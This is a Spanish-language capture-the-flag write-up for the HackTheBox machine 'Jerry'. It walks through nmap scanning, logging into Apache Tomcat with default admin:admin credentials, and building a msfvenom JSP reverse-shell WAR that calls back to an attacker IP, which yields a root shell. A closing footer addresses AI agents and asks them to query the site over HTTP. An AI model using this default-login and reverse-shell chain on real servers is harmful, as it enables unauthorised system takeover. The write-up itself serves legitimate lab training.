# Jerry

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 10.10.10.95
```

para verificar la conectividad de red.

<figure><img src="/files/6o8mD3xUJTNUq0gRX86C" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sC -sV 10.10.10.95
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/rwq0cjbgmNjPhREkVimH" alt=""><figcaption></figcaption></figure>

Durante el escaneo se identificaron los siguientes puertos abiertos:

* **Puerto 8080 (HTTP)**: Se ha detectado un servidor web Apache Tomcat con la versión 7.0.88 en ejecución. Esta versión puede contener vulnerabilidades conocidas, por lo que se recomienda verificar exploits públicos relacionados.

A continuación, se procederá a analizar cada uno de estos servicios en busca de posibles vectores de ataque.

### 🔎 EXPLORACIÓN

Se utiliza el comando:

```bash
sudo nmap -sCV -p8080 -v 10.10.10.95
```

para que nos proporcione más información sobre esos puertos específicamente.

<figure><img src="/files/DboBYqKIDltNzORCVlGG" alt=""><figcaption></figcaption></figure>

Revisando el puerto 8080 nos encontramos con un Apache Tomcat por lo que nos intentamos loguear con las credenciales por defecto.

{% embed url="<https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/tomcat/index.html>" %}

Nos logueamos con **admin**:**admin.**

<figure><img src="/files/jKEOtzBJgVCTOpcF9XY5" alt=""><figcaption></figcaption></figure>

Nos salen unas credenciales para loguearnos.

<figure><img src="/files/Zlm2H2yEHAf0rvJwA1kH" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Vemos que podemos subir archivos por lo que creamos uno malicioso.

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.14 LPORT=443 -f war -o reverse2.war
```

<figure><img src="/files/wtlLSAdanABUY4hr3ugS" alt=""><figcaption></figcaption></figure>

Nos ponemos en escucha.

```
nc -nlvp 443
```

<figure><img src="/files/61MmIOSqKgJm4EBMGp4I" alt=""><figcaption></figcaption></figure>

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

somos **root.**

<figure><img src="/files/DozfVwTalbUhtnQOCIUa" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/gdCbVH32ZxgkORKa7jRM" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/LFdMcC8AEHRxbUvUXzPy" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/hackthebox/jerry.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
